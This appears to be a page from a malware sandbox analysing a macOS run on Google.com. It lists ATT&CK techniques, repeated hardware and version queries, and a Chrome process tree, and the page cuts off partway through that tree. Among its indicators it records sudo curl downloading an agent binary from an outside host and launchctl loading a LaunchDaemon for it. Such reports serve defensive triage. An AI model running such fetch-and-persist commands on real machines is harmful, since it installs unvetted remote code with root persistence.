hxxp://Google[.]com

Analysis

user interaction
yes
max time kernel
351s
max time network
351s
platform
macos-10.15_amd64
resource
macos-20250619-en
resource tags

arch:amd64arch:i386image:macos-20250619-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
submitted
22/04/2026, 03:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://Google.com
Sample260422-eftnbsgw5r

Score

8^/10

defense_evasion discovery execution exfiltration

Malware Config

Signatures

Identifies devices as anti-VM 25 IoCs

ioc	Process
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found

Path Permission 1 TTPs
Adversaries may modify directory permissions/attributes to evade access control lists (ACLs) and access protected files.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Exfiltration Over Alternative Protocol 1 TTPs 2 IoCs

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

exfiltration

Exfiltration Over Unencrypted Non-C2 Protocol

T1048.003

ioc	Process
sudo curl -sL -o /usr/local/bin/server-monitor-agent https://servermonitor.asherheisman.com/agent/bin/agent_darwin_amd64	Process not Found
curl -sL -o /usr/local/bin/server-monitor-agent https://servermonitor.asherheisman.com/agent/bin/agent_darwin_amd64	Process not Found

File Permission 1 TTPs
Adversaries may modify file permissions/attributes to evade access control lists (ACLs) and access protected files.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Queries the hardware information (I/O Kit registry). 1 TTPs 25 IoCs

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

discovery

System Information Discovery

T1082

ioc	Process
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found

Queries the macOS version information. 1 TTPs 25 IoCs

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

discovery

System Information Discovery

T1082

ioc	Process
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found
sw_vers -productVersion	Process not Found

Gatekeeper Bypass 1 TTPs
Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apples security model to ensure only trusted applications are executed on a host.
defense_evasion

Gatekeeper Bypass
T1553.001
File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur.
defense_evasion

File Deletion
T1070.004

File and Directory Discovery. 1 TTPs 3 IoCs

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.

discovery

File and Directory Discovery

T1083

ioc	Process
defaults read "/Applications/Google Chrome.app/Contents/Info" CrProductDirName	Process not Found
dirname "/Library/Google/Google Chrome Brand.plist"	Process not Found
basename "/Volumes/Google Chrome/.keystone_install"	Process not Found

Resource Forking 1 TTPs 27 IoCs

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

defense_evasion

Resource Forking

T1564.009

ioc	Process
/System/Library/PrivateFrameworks/CommerceKit.framework/Versions/A/Resources/storedownloadd	Process not Found
/System/Library/PreferencePanes/Wallet.prefPane/Contents/Resources/walletAvailabilityCheckTool	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s2 removable readonly	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s2 removable readonly	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s2	Process not Found
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd	Process not Found
/System/Library/PrivateFrameworks/PackageKit.framework/Resources/installd	Process not Found
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Resources/GoogleSoftwareUpdateAgent.app/Contents/MacOS/GoogleSoftwareUpdateAgent -runMode ifneeded	Process not Found
/System/Library/PrivateFrameworks/PackageKit.framework/Resources/installd	Process not Found
/System/Library/PreferencePanes/Profiles.prefPane/Contents/Resources/CPPrefPaneEnabledTool	Process not Found
/System/Library/PrivateFrameworks/PackageKit.framework/Resources/system_installd	Process not Found
/usr/bin/tar -Oxjf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz" GoogleSoftwareUpdate.bundle/Contents/Info.plist	Process not Found
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd	Process not Found
/System/Library/PreferencePanes/ClassroomSettings.prefPane/Contents/Resources/ClassroomSettingsVisibilityCheckTool	Process not Found
/System/Library/PreferencePanes/Sidecar.prefPane/Contents/Resources/sidecarPrefCheck	Process not Found
"/System/Library/CoreServices/Software Update.app/Contents/Resources/suhelperd"	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s2	Process not Found
/System/Library/PrivateFrameworks/TCC.framework/Resources/tccd	Process not Found
/System/Library/PrivateFrameworks/PackageKit.framework/Resources/system_installd	Process not Found
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid C480D0CB-01C4-4FEA-99EC-3B5CC2C0A4F4	Process not Found
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid C480D0CB-01C4-4FEA-99EC-3B5CC2C0A4F4 -post-exec 4	Process not Found
/System/Library/PreferencePanes/TouchID.prefPane/Contents/Resources/AllowPasswordPref	Process not Found
"/System/Library/CoreServices/Software Update.app/Contents/Resources/softwareupdated"	Process not Found
/System/Library/PrivateFrameworks/SoftwareUpdate.framework/Resources/SoftwareUpdateNotificationManager.app/Contents/MacOS/SoftwareUpdateNotificationManager	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s2	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s2	Process not Found
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers/ksinstall" "--install=/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz"	Process not Found

Launchctl 1 TTPs 2 IoCs

Adversaries may abuse launchctl to execute commands or programs. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.

execution

Launchctl

T1569.001

ioc	Process
sudo launchctl load /Library/LaunchDaemons/com.servermonitor.agent.plist	Process not Found
launchctl load /Library/LaunchDaemons/com.servermonitor.agent.plist	Process not Found

/bin/sh
sh -c "/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --simulate-outdated-no-au='Tue, 31 Dec 2099' --new-window 'http://Google.com'"
1⤵
PID:456

/bin/bash
sh -c "/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --simulate-outdated-no-au='Tue, 31 Dec 2099' --new-window 'http://Google.com'"
1⤵
PID:456

/Applications/Google Chrome.app/Contents/MacOS/Google Chrome
"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" "--simulate-outdated-no-au=Tue, 31 Dec 2099" --new-window http://Google.com
1⤵
PID:456

/usr/libexec/xpcproxy
xpcproxy com.apple.GameController.gamecontrollerd
1⤵
PID:475

/usr/libexec/gamecontrollerd
/usr/libexec/gamecontrollerd
1⤵
PID:475

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/chrome_crashpad_handler
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/chrome_crashpad_handler" "--monitor-self-annotation=ptype=crashpad-handler" "--database=/Users/run/Library/Application Support/Google/Chrome/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=channel=" "--annotation=plat=OS X" "--annotation=prod=Chrome_Mac" "--annotation=ver=101.0.4951.54" "--handshake-fd=9"
1⤵
PID:480

/usr/bin/profiles
/usr/bin/profiles status -type enrollment
1⤵
PID:482

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers/ksinstall
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers/ksinstall" "--install=/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz"
1⤵
PID:485

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/developer_id_certificate_reauthorize
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/developer_id_certificate_reauthorize" com.google.Chrome
1⤵
PID:486

/usr/bin/tar
/usr/bin/tar -Oxjf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz" GoogleSoftwareUpdate.bundle/Contents/Info.plist
1⤵
PID:489

/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Resources/GoogleSoftwareUpdateAgent.app/Contents/MacOS/GoogleSoftwareUpdateAgent
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Resources/GoogleSoftwareUpdateAgent.app/Contents/MacOS/GoogleSoftwareUpdateAgent -runMode ifneeded
1⤵
PID:490

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)" "--type=gpu-process" "--gpu-preferences=UAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgEAAAAAAAAmAQAAAAAAACIAQAAMAAAAIABAAAAAAAAiAEAAAAAAACQAQAAAAAAAJgBAAAAAAAAoAEAAAAAAACoAQAAAAAAALABAAAAAAAAuAEAAAAAAADAAQAAAAAAAMgBAAAAAAAA0AEAAAAAAADYAQAAAAAAAOABAAAAAAAA6AEAAAAAAADwAQAAAAAAAPgBAAAAAAAAAAIAAAAAAAAIAgAAAAAAABACAAAAAAAAGAIAAAAAAAAgAgAAAAAAACgCAAAAAAAAMAIAAAAAAAA4AgAAAAAAAEACAAAAAAAASAIAAAAAAABQAgAAAAAAAFgCAAAAAAAAYAIAAAAAAABoAgAAAAAAAHACAAAAAAAAeAIAAAAAAACAAgAAAAAAAIgCAAAAAAAAkAIAAAAAAACYAgAAAAAAAKACAAAAAAAAqAIAAAAAAACwAgAAAAAAALgCAAAAAAAAwAIAAAAAAADIAgAAAAAAANACAAAAAAAA2AIAAAAAAADgAgAAAAAAAOgCAAAAAAAA8AIAAAAAAAD4AgAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAHAAAAEAAAAAAAAAAAAAAACAAAABAAAAAAAAAAAAAAAAkAAAAQAAAAAAAAAAAAAAALAAAAEAAAAAAAAAAAAAAADAAAABAAAAAAAAAAAAAAAA4AAAAQAAAAAAAAAAAAAAAPAAAAEAAAAAAAAAABAAAAAAAAABAAAAAAAAAAAQAAAAcAAAAQAAAAAAAAAAEAAAAIAAAAEAAAAAAAAAABAAAACQAAABAAAAAAAAAAAQAAAAsAAAAQAAAAAAAAAAEAAAAMAAAAEAAAAAAAAAABAAAADgAAABAAAAAAAAAAAQAAAA8AAAAQAAAAAAAAAAQAAAAAAAAAEAAAAAAAAAAEAAAABwAAABAAAAAAAAAABAAAAAgAAAAQAAAAAAAAAAQAAAAJAAAAEAAAAAAAAAAEAAAACwAAABAAAAAAAAAABAAAAAwAAAAQAAAAAAAAAAQAAAAOAAAAEAAAAAAAAAAEAAAADwAAABAAAAAAAAAABwAAAAAAAAAQAAAAAAAAAAcAAAAHAAAAEAAAAAAAAAAHAAAACAAAABAAAAAAAAAABwAAAAkAAAAQAAAAAAAAAAcAAAALAAAAEAAAAAAAAAAHAAAADAAAABAAAAAAAAAABwAAAA4AAAAQAAAAAAAAAAcAAAAPAAAAEAAAAAAAAAAIAAAAAAAAABAAAAAAAAAACAAAAAcAAAAQAAAAAAAAAAgAAAAIAAAAEAAAAAAAAAAIAAAACQAAABAAAAAAAAAACAAAAAsAAAAQAAAAAAAAAAgAAAAMAAAAEAAAAAAAAAAIAAAADgAAABAAAAAAAAAACAAAAA8AAAAQAAAAAAAAAAoAAAAAAAAAEAAAAAAAAAAKAAAABwAAABAAAAAAAAAACgAAAAgAAAAQAAAAAAAAAAoAAAAJAAAAEAAAAAAAAAAKAAAACwAAABAAAAAAAAAACgAAAAwAAAAQAAAAAAAAAAoAAAAOAAAAEAAAAAAAAAAKAAAADwAAAAgAAAAAAAAACAAAAAAAAAA=" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=30"
1⤵
PID:491

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=network.mojom.NetworkService" "--lang=en-GB" "--service-sandbox-type=network" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=23"
1⤵
PID:492

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=storage.mojom.StorageService" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=30"
1⤵
PID:493

/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --wake-all --system
1⤵
PID:494

/Users/run/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
"/Users/run/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --wake-all
1⤵
PID:496

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)" "--type=utility" "--utility-sub-type=mac_notifications.mojom.MacNotificationProvider" "--lang=en-GB" "--service-sandbox-type=none" --message-loop-type-ui --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072"
1⤵
PID:495

/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=4"
1⤵
PID:0
- /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
  "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --wake --system
  2⤵
  PID:499
- /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
  "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=4"
  2⤵
  PID:0
- - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/Helpers/launcher
    "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/Helpers/launcher" --internal
    3⤵
    PID:502
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=7" "--launch-time-ticks=293643548" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=63"
    3⤵
    PID:503
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=6" "--launch-time-ticks=293683405" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=63"
    3⤵
    PID:504
- - /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin
    /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin --productid com.google.Chrome --print-tickets --store /Library/Google/GoogleSoftwareUpdate/TicketStore/Keystone.ticketstore
    3⤵
    PID:505
- - /usr/libexec/xpcproxy
    xpcproxy com.apple.SafariLaunchAgent
    3⤵
    PID:506
- - /Library/Apple/System/Library/CoreServices/SafariSupport.bundle/Contents/MacOS/SafariLaunchAgent
    /Library/Apple/System/Library/CoreServices/SafariSupport.bundle/Contents/MacOS/SafariLaunchAgent
    3⤵
    PID:506
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=8" "--launch-time-ticks=297093956" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=75"
    3⤵
    PID:507
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=12" "--launch-time-ticks=297403831" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=79"
    3⤵
    PID:508
- - /Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher
    "/Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher"
    3⤵
    PID:509
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=10" "--launch-time-ticks=297863380" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=80"
    3⤵
    PID:510
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=11" "--launch-time-ticks=298078756" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=80"
    3⤵
    PID:511
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=88"
    3⤵
    PID:512
- - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
    GoogleUpdater --server "--service=update-internal" --system
    3⤵
    PID:0
  - - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
      "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=5"
      4⤵
      PID:1.8446744073709552e+19
  - - /Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher
      "/Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher"
      4⤵
      PID:516
  - - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
      GoogleUpdater --server "--service=update" --system
      4⤵
      PID:0
    - - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
        
        "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=5"
        5⤵
        
        PID:1.8446744073709552e+19
    - - /usr/bin/profiles
        
        /usr/bin/profiles status -type enrollment
        5⤵
        
        PID:520
    - - /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin
        
        /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin -P com.google.Chrome --delete --store /Users/run/Library/Google/GoogleSoftwareUpdate/TicketStore/Keystone.ticketstore
        5⤵
        
        PID:521
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=14" "--launch-time-ticks=309309266" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=95"
        5⤵
        
        PID:524
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.systemprofiler
        5⤵
        
        PID:525
    - - /System/Applications/Utilities/System Information.app/Contents/MacOS/System Information
        
